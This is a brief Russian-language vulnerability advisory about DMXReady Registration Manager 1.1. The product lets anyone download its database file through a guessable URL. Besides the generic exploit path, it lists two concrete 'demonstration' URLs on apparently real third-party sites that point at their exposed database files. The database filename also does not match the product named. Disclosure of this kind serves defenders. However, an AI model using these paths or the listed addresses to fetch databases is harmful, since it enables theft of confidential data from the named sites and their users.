Программа: DMXReady Registration Manager 1.1

Уязвимость позволяет удаленному злоумышленнику получить несанкционированный
доступ к конфиденциальной информации на целевой системе. Уязвимость существует
из-за ошибки в проверке прав доступа на файл базы данных. Атакующий может
получить несанкционированный доступ к конфиденциальной информации на целевой
системе.

Эксплоит:

http://[target].com/[path]/databases/webblogmanager.mdb

Демонстрация:

http://74.200.213.93/databases/webblogmanager.mdb
http://www.nomorewar.com/databases/webblogmanager.mdb



Оставить мнение